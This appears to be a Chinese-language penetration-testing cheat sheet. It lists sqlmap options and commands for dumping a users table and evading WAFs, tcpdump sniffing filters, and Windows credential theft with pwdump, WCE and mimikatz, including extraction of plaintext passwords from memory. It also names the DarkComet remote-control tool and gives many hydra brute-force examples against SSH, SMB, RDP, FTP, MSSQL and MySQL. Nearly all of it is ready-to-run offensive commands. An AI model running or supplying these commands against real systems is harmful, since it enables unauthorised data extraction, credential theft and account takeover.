- --beep Beep on question and/or when SQL injection is found
- --cleanup Clean up the DBMS from sqlmap specific UDF and tables
- --dependencies Check for missing (optional) sqlmap dependencies
- --disable-coloring Disable console output coloring
- --gpage=GOOGLEPAGE Use Google dork results from specified page number
- --identify-waf Make a thorough testing for a WAF/IPS protection
- --list-tampers Display list of available tamper scripts
- --mobile Imitate smartphone through HTTP User-Agent header
- --offline Work in offline mode (only use session data)
- --purge Safely remove all content from sqlmap data directory
- --skip-waf Skip heuristic detection of WAF/IPS protection
- --smart Conduct thorough tests only if positive heuristic(s)
- --sqlmap-shell Prompt for an interactive sqlmap shell
- --tmp-dir=TMPDIR Local directory for storing temporary files
- --web-root=WEBROOT Web server document root directory (e.g. "/var/www")
- --wizard Simple wizard interface for beginner users
- • -z:参数助记符
- • sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u “1.1.1.1/a.php?id=1"
- • sqlmap -z "bat,randoma,ign,tec=BEU" -u “1.1.1.1/a.php?id=1"
- • sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u “1.1.1.1/a.php?id=1"
- • sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u “1.1.1.1/vuln.php?id=1“
- • --answer
- • sqlmap -u "http://1.1.1.1/a.php?id=1"--technique=E --answers="extending=N" --batch
- • --check-waf:检测WAF/IPS/IDS
- • --hpp:HTTP parameter pollution
- • 绕过WAF/IPS/IDS的有效方法
- • 尤其对ASP/IIS 和ASP.NET/IIS
- • --identify-waf:彻底的waf/ips/ids检查
- • 支持30多种产品
- • --mobile:模拟智能手机设备
- • --purge-output:清除output文件夹
- • --smart:当有大量检测目标时,只选择基于错误的检测结果
- • --wizard
pangolin
啊D
网络监听(抓包嗅探):
wireshark(重点)
tcpdump(重点)
- • 抓包
- • tcpdump -i eth0 -s 0 -w file.pcap
- • 读取抓包文件
- • tcpdump -r file.pcap
-
- 筛选
- • tcpdump -n -r http.cap | awk '{print $3}'| sort –u
- • tcpdump -n src host 145.254.160.237 -r http.cap
- • tcpdump -n dst host 145.254.160.237 -r http.cap
- • tcpdump -n port 53 -r http.cap
- • tcpdump -nX port 80 -r http.cap
-
- 高级筛选
- • tcpdump -A -n 'tcp[13] = 24' -r http.cap
Omnipeek //Windows下的抓包分析嗅探工具
Sniffpass //密码查看器
cain
• 浏览器缓存的密码
• IE浏览器
• Firefox
pwdump 通过Windows系统的SAM数据库提取出账户的用户名和密码,得到的是LMhash和NThash算法过后的密文,然后拿到kali上通过相应的工具进行解密
WCE (WINDOWS CREDENTIAL EDITOR) Windows身份编辑器
由于通过SAM数据库获取的密码是密文的形式,如果密码足够复杂,破解是很难的,通过WCE相应的工具是直接从内存里面去提取用户名和密码的数据
• /usr/share/wce/
- • 需要管理员权限
- • wce-universal.exe -l / -lv
- • wce-universal.exe -d
- • wce-universal.exe -e / -r
- • wce-universal.exe -g
- • wce-universal.exe -w //直接从内存里获取用户的明文密码
- • LM/NT hash
其他工具
• mimikatz //俄罗斯人开发的
- • privilege::debug // 提升权限
- • sekurlsa::logonPasswords // 查看已登录用户的明文密码
- • ::
远程控制类:
darkcomet 一款法国人开发的远控软件
密码爆破类:
hydra
参数详解:
- -R 根据上一次进度继续破解
- -S 使用SSL协议连接
- -s 指定端口
- -l 指定用户名
- -L 指定用户名字典(文件)
- -P 指定密码破解
- -p 指定密码字典(文件)
- -e 空密码探测和使用登录名作为密码以及登录名倒序作为密码(nsr)
- -C 用户名可以用:分割(username:password)可以代替 -l username -p password
- -o 输出文件
- -t 指定多线程数量,默认为16个线程
- -vV 显示详细过程
- server 目标IP
- service 指定服务名(telnet、ftp、http、mysql、ssh)
使用案例:
破解ssh:
hydra -L user.txt -P password.txt -vV -o ssh.log -e ns IP ssh
破解smb:
hydra -l administrator -P password.txt IP smb
破解rdp:
hydra IP rdp -l administrator -P password.txt -V
破解telnet:
hydra IP telnet -l administrator -P password.txt -t 32 -s 23 -e ns -f -V
破解ftp:
hydra ftp IP -l administrator -P password.txt -t (默认16线程) -vV
hydra ftp IP -l administrator -P password.txt -e ns -vV
破解Cisco:
hydra -P password.txt IP cisco
hydra -m cloud -P password.txt 10.58.26.98 cisco-enable
破解sqlserver密码:
hydra.exe -l sa -P c:\password.txt 192.168.25.26 mssql
破解mysql密码:
hydra.exe -l root -P c:\password.txt 192.168.25.26 mysql指定登录名密码的方式,使用 “登录名:密码” 的格式放到文件中指定hydra -C default_accounts.txt ftp://localhost/通过文件来指定攻击目标(可以自定义端口):hydra -l admin -p admin -M targets.txt ftpBrute Force模式(暴力模式),使用 “-x” 选项指定:-x minimum_length:maximum_length:charsetcharset 位置,使用 a 表示小写字母,A 表示大写字母,1 表示数字
-x 1:1:a
生成一个字符的并且小写字母的密码。也就是说该参数会尝试从a到z共26个密码。-x 1:3:a
生成长度为1到3个字符并且全部小写字母的密码-x 2:5:/
生成长度为2到5个字符并且只包含斜杠的密码-x 5:8:A1
生成长度为5到8个字符并且有大写字母和数字的密码
示例:
hydra -l ftp -x 3:3:a ftp://localhost/
default_accounts.txt格式:
- admin:password
- test:test
- foo:bar
targets.txt格式:
- foo.bar.com
- target.com:21
- unusual.port.com:2121
- default.used.here.com
- 127.0.0.1
- 127.0.0.1:2121
pkav 、http fuzzer、Discuz批量用户密码暴力破解器
sqlmap
beef